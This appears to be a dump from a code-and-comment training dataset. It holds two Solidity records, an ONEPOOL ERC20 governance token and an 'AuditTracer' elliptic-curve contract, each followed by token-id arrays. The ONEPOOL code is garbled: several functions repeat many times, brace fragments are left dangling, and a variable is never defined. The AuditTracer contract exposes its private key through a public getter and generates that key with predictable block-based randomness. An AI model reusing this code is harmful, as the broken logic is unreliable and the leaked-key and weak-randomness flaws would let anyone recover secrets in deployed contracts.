file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
sequence
attention_mask
sequence
labels
sequence
./partial_match/3/0xC1bBcEDB46B6364b92fa8226919EEf734327936d/sources/ONEPOOL.sol
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ Copied and modified from YAM code: https:github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol https:github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol Which is copied and modified from COMPOUND: https:github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol @notice A record of each accounts delegate
contract ONEPOOL is IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private circulation_token = 10000000e18; string private _name; string private _symbol; uint8 private _decimals; address private seedInvestor; address private dutchAuction; uint256 private genesis_time; address private teamAddr; address private ecosystemFund; mapping (address => address) internal _delegates; struct Checkpoint { uint32 fromBlock; uint256 votes; } mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; mapping (address => uint32) public numCheckpoints; bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); mapping (address => uint) public nonces; event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); constructor (address _seedInvestors,address _dutchAuction,address _teamAddr,address _ecosystemFund, uint genesis_end_time) public { _name = "1Pool token"; _symbol = "1Pool"; _decimals = 18; seedInvestor = _seedInvestors; dutchAuction = _dutchAuction; teamAddr = _teamAddr; ecosystemFund = _ecosystemFund; _mint(seedInvestor,1000000e18); _mint(dutchAuction,3000000e18); genesis_time = genesis_end_time; } function seedInvestors() public view returns (address _seedInvestors) { return seedInvestor; } function dutchAuctions() public view returns (address _dutchAuction) { return dutchAuction; } function teamAddress() public view returns (address _teamAddr) { return teamAddr; } function ecosystemFunds() public view returns (address _ecosystemFund) { return ecosystemFund; } function genesisTime() public view returns (uint256 genesistime) { return (genesis_time); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return circulation_token; } function circulationToken() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); _moveDelegates(_delegates[sender], _delegates[recipient], amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); require(circulation_token >= (_totalSupply + amount), "Insufficient token"); if(account != ecosystemFund && account != teamAddr){ require(genesis_time <= block.timestamp, "genesis mining still not starting"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _moveDelegates(address(0), _delegates[account], amount); emit Transfer(address(0), account, amount); require(account == ecosystemFund || account == teamAddr , "address is invalid"); require(amount == 1000000e18, "Quantity is invalid"); require(balanceOf(account) == 0, "Token is already deposit"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _moveDelegates(address(0), _delegates[account], amount); emit Transfer(address(0), account, amount); } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); require(circulation_token >= (_totalSupply + amount), "Insufficient token"); if(account != ecosystemFund && account != teamAddr){ require(genesis_time <= block.timestamp, "genesis mining still not starting"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _moveDelegates(address(0), _delegates[account], amount); emit Transfer(address(0), account, amount); require(account == ecosystemFund || account == teamAddr , "address is invalid"); require(amount == 1000000e18, "Quantity is invalid"); require(balanceOf(account) == 0, "Token is already deposit"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _moveDelegates(address(0), _delegates[account], amount); emit Transfer(address(0), account, amount); } } } else { function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "IRON::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "IRON::delegateBySig: invalid nonce"); require(now <= expiry, "IRON::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "IRON::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "IRON::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "IRON::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "IRON::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "IRON::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "IRON::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; } } else if (cp.fromBlock < blockNumber) { } else { function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "IRON::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "IRON::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } } else { function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; return chainId; } assembly { chainId := chainid() } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
5,298,377
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 15623, 20339, 353, 467, 654, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 565, 2254, 5034, 3238, 5886, 1934, 367, 67, 2316, 273, 2130, 11706, 73, 2643, 31, 203, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 565, 1758, 3238, 5009, 3605, 395, 280, 31, 203, 565, 1758, 3238, 302, 322, 343, 37, 4062, 31, 203, 565, 2254, 5034, 3238, 21906, 67, 957, 31, 203, 565, 1758, 3238, 5927, 3178, 31, 203, 565, 1758, 3238, 6557, 538, 1108, 42, 1074, 31, 203, 377, 203, 203, 565, 2874, 261, 2867, 516, 1758, 13, 2713, 389, 3771, 1332, 815, 31, 203, 203, 203, 565, 1958, 25569, 288, 203, 3639, 2254, 1578, 628, 1768, 31, 203, 3639, 2254, 5034, 19588, 31, 203, 565, 289, 203, 203, 203, 203, 203, 203, 203, 203, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 11890, 1578, 516, 25569, 3719, 1071, 26402, 31, 203, 565, 2874, 261, 2867, 516, 2254, 1578, 13, 1071, 818, 1564, 4139, 31, 203, 565, 1731, 1578, 1071, 5381, 27025, 67, 2399, 15920, 273, 417, 24410, 581, 5034, 2932, 41, 2579, 2 ]
pragma solidity ^0.4.18; contract AuditTracer { uint256 public gx; uint256 public gy; uint256 public p; uint256 public n; uint256 public a; uint256 public b; // The address of the account that created this ballot. address public tracerCreator; mapping (address => uint256) private CredentialTraceTimes; mapping (address => uint256) private CredentialTraceResults; mapping (address => uint256) private IdentityTraceTimes; mapping (address => uint256) private IdentityTraceResults; uint256 public seed = 0; uint256 public xt; uint256 public yt_x; uint256 public yt_y; uint256 public c_x; uint256 public c_y; uint256 public i_x; uint256 public i_y; constructor() public { tracerCreator = msg.sender; } event trace_log( string information, address indexed sender, uint256 timestamp, uint256 calltimes, uint256 obj ); function credential_tracing_log(uint256 obj) internal { emit trace_log("credential_tracing_log", msg.sender, now, CredentialTraceTimes[msg.sender], obj); } function identity_tracing_log(uint256 obj) internal { emit trace_log("credential_tracing_log", msg.sender, now, IdentityTraceTimes[msg.sender], obj); } function register_parameter(uint256 _a, uint256 _b, uint256 _p, uint256 _n, uint256 _gx, uint256 _gy) public{ a = _a; b = _b; p = _p; n = _n; gx = _gx; gy = _gy; xt = rand_less_than(_n); } function get_private_key() public view returns(uint256){ return xt; } function calculate_public_key() public{ (yt_x, yt_y) = multiplyScalar(gx, gy, xt); } function get_public_key() public view returns(uint256 , uint256 ){ return (yt_x, yt_y); } function credential_tracing() public returns(uint256,uint256){ CredentialTraceTimes[msg.sender] += 1; return (c_x,c_y); } function identity_tracing() public returns(uint256,uint256){ CredentialTraceTimes[msg.sender] += 1; return (i_x,i_y); } // trace the credential function credential_calculating(uint256 xiupsilon_x, uint256 xiupsilon_y) public{ if (CredentialTraceTimes[msg.sender] == 0){ (c_x,c_y) = multiplyScalar(xiupsilon_x, xiupsilon_y, xt); } credential_tracing_log(xiupsilon_x); } // trace the identity function identity_calculating(uint256 zeta1_x, uint256 zeta1_y) public{ if (IdentityTraceTimes[msg.sender] == 0){ uint256 nxt = inverseMod(xt, n); (i_x,i_y) = multiplyScalar(zeta1_x, zeta1_y, nxt); } identity_tracing_log(zeta1_x); } function rand_less_than(uint256 upper_bound) private returns(uint256){ uint256 r = PRNG() % upper_bound; return r; } function PRNG() private view returns(uint256) { return uint256(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty,msg.sender,now)))) ; } function quick_power(uint256 al, uint256 bl, uint256 m) private pure returns(uint256){ uint256 result = 1; for(uint256 count = 1; count <= bl; count*=2){ if(bl & count != 0){ result = mulmod(result, al, m); } al = mulmod(al, al, m); } return result; } /** * @dev Inverse of u in the field of modulo m. */ function inverseMod(uint u, uint m) internal pure returns (uint) { if (u == 0 || u == m || m == 0) return 0; if (u > m) u = u % m; int t1; int t2 = 1; uint r1 = m; uint r2 = u; uint q; while (r2 != 0) { q = r1 / r2; (t1, t2, r1, r2) = (t2, t1 - int(q) * t2, r2, r1 - q * r2); } if (t1 < 0) return (m - uint(-t1)); return uint(t1); } /** * @dev Transform affine coordinates into projective coordinates. */ function toProjectivePoint(uint x0, uint y0) public view returns (uint[3] memory P) { P[2] = addmod(0, 1, p); P[0] = mulmod(x0, P[2], p); P[1] = mulmod(y0, P[2], p); } /** * @dev Add two points in affine coordinates and return projective point. */ function addAndReturnProjectivePoint(uint x1, uint y1, uint x2, uint y2) public view returns (uint[3] memory P) { uint x; uint y; (x, y) = add(x1, y1, x2, y2); P = toProjectivePoint(x, y); } /** * @dev Transform from projective to affine coordinates. */ function toAffinePoint(uint x0, uint y0, uint z0) public view returns (uint x1, uint y1) { uint z0Inv; z0Inv = inverseMod(z0, p); x1 = mulmod(x0, z0Inv, p); y1 = mulmod(y0, z0Inv, p); } /** * @dev Return the zero curve in projective coordinates. */ function zeroProj() public view returns (uint x, uint y, uint z) { return (0, 1, 0); } /** * @dev Return the zero curve in affine coordinates. */ function zeroAffine() public pure returns (uint x, uint y) { return (0, 0); } /** * @dev Check if the curve is the zero curve. */ function isZeroCurve(uint x0, uint y0) public view returns (bool isZero) { if(x0 == 0 && y0 == 0) { return true; } return false; } /** * @dev Check if a point in affine coordinates is on the curve. */ function isOnCurve(uint x, uint y) public view returns (bool) { if (0 == x || x == p || 0 == y || y == p) { return false; } uint LHS = mulmod(y, y, p); // y^2 uint RHS = mulmod(mulmod(x, x, p), x, p); // x^3 if (a != 0) { RHS = addmod(RHS, mulmod(x, a, p), p); // x^3 + a*x } if (b != 0) { RHS = addmod(RHS, b, p); // x^3 + a*x + b } return LHS == RHS; } /** * @dev Double an elliptic curve point in projective coordinates. See * https://www.nayuki.io/page/elliptic-curve-point-addition-in-projective-coordinates */ function twiceProj(uint x0, uint y0, uint z0) public view returns (uint x1, uint y1, uint z1) { uint t; uint u; uint v; uint w; if(isZeroCurve(x0, y0)) { return zeroProj(); } u = mulmod(y0, z0, p); u = mulmod(u, 2, p); v = mulmod(u, x0, p); v = mulmod(v, y0, p); v = mulmod(v, 2, p); x0 = mulmod(x0, x0, p); t = mulmod(x0, 3, p); z0 = mulmod(z0, z0, p); z0 = mulmod(z0, a, p); t = addmod(t, z0, p); w = mulmod(t, t, p); x0 = mulmod(2, v, p); w = addmod(w, p-x0, p); x0 = addmod(v, p-w, p); x0 = mulmod(t, x0, p); y0 = mulmod(y0, u, p); y0 = mulmod(y0, y0, p); y0 = mulmod(2, y0, p); y1 = addmod(x0, p-y0, p); x1 = mulmod(u, w, p); z1 = mulmod(u, u, p); z1 = mulmod(z1, u, p); } /** * @dev Add two elliptic curve points in projective coordinates. See * https://www.nayuki.io/page/elliptic-curve-point-addition-in-projective-coordinates */ function addProj(uint x0, uint y0, uint z0, uint x1, uint y1, uint z1) public view returns (uint x2, uint y2, uint z2) { uint t0; uint t1; uint u0; uint u1; if (isZeroCurve(x0, y0)) { return (x1, y1, z1); } else if (isZeroCurve(x1, y1)) { return (x0, y0, z0); } t0 = mulmod(y0, z1, p); t1 = mulmod(y1, z0, p); u0 = mulmod(x0, z1, p); u1 = mulmod(x1, z0, p); if (u0 == u1) { if (t0 == t1) { return twiceProj(x0, y0, z0); } else { return zeroProj(); } } (x2, y2, z2) = addProj2(mulmod(z0, z1, p), u0, u1, t1, t0); } /** * @dev Helper function that splits addProj to avoid too many local variables. */ function addProj2(uint v, uint u0, uint u1, uint t1, uint t0) private view returns (uint x2, uint y2, uint z2) { uint u; uint u2; uint u3; uint w; uint t; t = addmod(t0, p-t1, p); u = addmod(u0, p-u1, p); u2 = mulmod(u, u, p); w = mulmod(t, t, p); w = mulmod(w, v, p); u1 = addmod(u1, u0, p); u1 = mulmod(u1, u2, p); w = addmod(w, p-u1, p); x2 = mulmod(u, w, p); u3 = mulmod(u2, u, p); u0 = mulmod(u0, u2, p); u0 = addmod(u0, p-w, p); t = mulmod(t, u0, p); t0 = mulmod(t0, u3, p); y2 = addmod(t, p-t0, p); z2 = mulmod(u3, v, p); } /** * @dev Add two elliptic curve points in affine coordinates. */ function add(uint x0, uint y0, uint x1, uint y1) public view returns (uint, uint) { uint z0; (x0, y0, z0) = addProj(x0, y0, 1, x1, y1, 1); return toAffinePoint(x0, y0, z0); } /** * @dev Double an elliptic curve point in affine coordinates. */ function twice(uint x0, uint y0) public view returns (uint, uint) { uint z0; (x0, y0, z0) = twiceProj(x0, y0, 1); return toAffinePoint(x0, y0, z0); } /** * @dev Multiply an elliptic curve point by a 2 power base (i.e., (2^exp)*P)). */ function multiplyPowerBase2(uint x0, uint y0, uint exp) public view returns (uint, uint) { uint base2X = x0; uint base2Y = y0; uint base2Z = 1; for(uint i = 0; i < exp; i++) { (base2X, base2Y, base2Z) = twiceProj(base2X, base2Y, base2Z); } return toAffinePoint(base2X, base2Y, base2Z); } /** * @dev Multiply an elliptic curve point by a scalar. */ function multiplyScalar(uint x0, uint y0, uint scalar) public view returns (uint x1, uint y1) { if(scalar == 0) { return zeroAffine(); } else if (scalar == 1) { return (x0, y0); } else if (scalar == 2) { return twice(x0, y0); } uint base2X = x0; uint base2Y = y0; uint base2Z = 1; uint z1 = 1; x1 = x0; y1 = y0; if(scalar%2 == 0) { x1 = y1 = 0; } scalar = scalar >> 1; while(scalar > 0) { (base2X, base2Y, base2Z) = twiceProj(base2X, base2Y, base2Z); if(scalar%2 == 1) { (x1, y1, z1) = addProj(base2X, base2Y, base2Z, x1, y1, z1); } scalar = scalar >> 1; } return toAffinePoint(x1, y1, z1); } /** * @dev Multiply the curve's generator point by a scalar. */ function multipleGeneratorByScalar(uint scalar) public view returns (uint, uint) { return multiplyScalar(gx, gy, scalar); } }
* @dev Check if a point in affine coordinates is on the curve./
function isOnCurve(uint x, uint y) public view returns (bool) { if (0 == x || x == p || 0 == y || y == p) { return false; } if (a != 0) { } if (b != 0) { } return LHS == RHS; }
5,529,703
[ 1, 1564, 309, 279, 1634, 316, 28381, 5513, 353, 603, 326, 8882, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
